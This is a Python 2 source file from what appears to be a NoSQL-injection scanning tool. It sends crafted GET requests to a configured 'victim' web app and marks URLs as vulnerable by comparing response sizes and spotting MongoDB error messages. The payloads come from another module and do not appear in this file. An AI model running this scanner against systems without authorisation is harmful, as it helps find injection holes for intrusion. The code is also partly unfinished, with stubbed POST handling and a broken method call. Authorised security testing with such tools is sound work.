-
Notifications
You must be signed in to change notification settings - Fork 90
/
getApps.py
183 lines (153 loc) · 6.5 KB
/
getApps.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import urllib2
import time
import globalVar as GlobalVar
from buildAttackUri import buildAttackUri
def getApps():#define the Attack method
print "Web App Attacks (GET)"
print "====================="
#verify app is working
print "checking to see if site at"+ str(GlobalVar.get_victim()) + ":" + str(GlobalVar.get_webPort()) + str(GlobalVar.get_url()) + " is up..."
appUp = False #make flag of login successful
if(GlobalVar.get_https() == "OFF"):
appURL = "http://" + str(GlobalVar.get_victim()) + ":" + str(GlobalVar.get_webPort()) + str(GlobalVar.get_url())
else:
appURL = "https://" + str(GlobalVar.get_victim()) + ":" + str(GlobalVar.get_webPort()) + str(GlobalVar.get_url())
requestHeaders = {}
try:
req = urllib2.Request(appURL, None, requestHeaders)
appRespCode = urllib2.urlopen(req).getcode()
if appRespCode == 200:
normLength = int(len(urllib2.urlopen(req).read()))
timeReq = urllib2.urlopen(req)
start = time.time()
page = timeReq.read()
end = time.time()
timeReq.close()
timeBase = round((end - start), 3)
if GlobalVar.get_verb() == "ON":
print "App is up! Got response length of " + str(normLength) + " and response time of " + str(
timeBase) + " seconds. Starting injection test.\n"
else:
print "App is up!"
appUp = True
else:
print "Got " + str(appRespCode) + "from the app, check your options."
except Exception, e:
print e
print "Looks like the server didn't respond. Check your options."
if(appUp == True):
injectString = raw_input("Enter random parameter to inject: ")
print "Using " + injectString + " for injection testing.\n"
if "?" not in appURL:
print "No URI parameters provided for GET request...Check your options.\n"
raw_input("Press enter to continue...")
return ()
split_uri = appURL.split("?")
if split_uri[1] == '':
raw_input(
"No parameters in uri. Check options settings. Press enter to return to main menu...")
return ()
buildAttackSet = buildAttackUri(appURL, injectString)
uriArray = buildAttackSet[0]
attackDescriptionSet = buildAttackSet[1]
attackSum = attackDescriptionSet[0];
print "Attack queries are listed:"
for index in range(0,attackSum):
print attackDescriptionSet[index + 1]
# print uriArray[index]
#This randomUri is same with URI which user input in option except parameter
# randomUri = uriArray[0]
# print "URI :" + randomUri
# req = urllib2.Request(randomUri, None, requestHeaders)
# randLength = int(len(urllib2.urlopen(req).read()))
# print "Got response length of " + str(randLength) + "."
# differenceLength = abs(normLength - randLength)
# if differenceLength == 0:
# print "No change in response size injecting a random parameter..\n"
# else:
# print "Random value variance: " + str(differenceLength) + "\n"
# print "req:" + urllib2.urlopen(req).read()
# print "requestHeaders" + requestHeaders
print "\n"
print "Start injection:"
for index in range(0,attackSum):
print "injecting: " + uriArray[index]
# if GlobalVar.get_verb() == "ON":
# print "Checking random injected parameter HTTP response size using " + uriArray[index] + "...\n"
# else:
# print "Sending random parameter value..."
if GlobalVar.get_verb() == "ON":
print attackDescriptionSet[index]
req = urllib2.Request(uriArray[index], None, requestHeaders)
errorCheck = errorTest(str(urllib2.urlopen(req).read()), index, uriArray)
if errorCheck == False:
injLen = int(len(urllib2.urlopen(req).read()))
checkResult(normLength, injLen, index, uriArray)
print "\n"
print "Vulnerable URLs:"
print "\n".join(GlobalVar.get_vulnAddrs())
print "\n"
print "Possibly vulnerable URLs:"
print"\n".join(GlobalVar.get_possAddrs())
print "\n"
print "Timing based attacks:"
# checkResult(randLength, injectionLen, index)
# for injectionURI in uriArray:
# print "URI: " + injectionURI
# req = urllib2.Request(injectionURI, None, requestHeaders)
# randLength = int(len(urllib2.urlopen(req).read()))
#
# print "Got response length of " + str(randLength) + "."
def errorTest(errorText, index, uriArray):
if errorText.find('ReferenceError') != -1 or errorText.find('SyntaxError') != -1 or errorText.find('ILLEGAL') != -1:
print "Injection returned a MongoDB Error. Injection may be possible."
if GlobalVar.get_httpMethod() == "GET":
GlobalVar.set_possAddrs(uriArray[index])
return True
else:
post = 0
#post
else:
return False
def checkResult(baseSize, respSize, index,uriArray):
delta = abs(respSize - baseSize)
if (delta >= 100) and (respSize != 0):
if GlobalVar.get_verb() == "ON":
print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
else:
print "Successful injection!"
if GlobalVar.get_httpMethod() == "GET":
GlobalVar.get_vulnAddrs().append(uriArray[index])
else:
post = 0
#post
return
elif (delta > 0) and (delta < 100) and (respSize != 0):
if GlobalVar.get_verb() == "ON":
print "Response variance was only " + str(
delta) + " bytes. Injection might have worked but difference is too small to be certain. "
else:
print "Possible injection."
if GlobalVar.get_httpMethod() == "GET":
GlobalVar.get_possAddrs().append(uriArray[index])
else:
post = 0
# post
return
elif (delta == 0):
if GlobalVar.get_verb() == "ON":
print "Random string response size and not equals injection were the same. Injection did not work."
else:
print "Injection failed."
return
else:
if GlobalVar.get_verb() == "ON":
print "Injected response was smaller than random response. Injection may have worked but requires verification."
else:
print "Possible injection."
if GlobalVar.get_httpMethod() == "GET":
GlobalVar.get_possAddrs.append(uriArray[index])
else:
post = 0
# post
return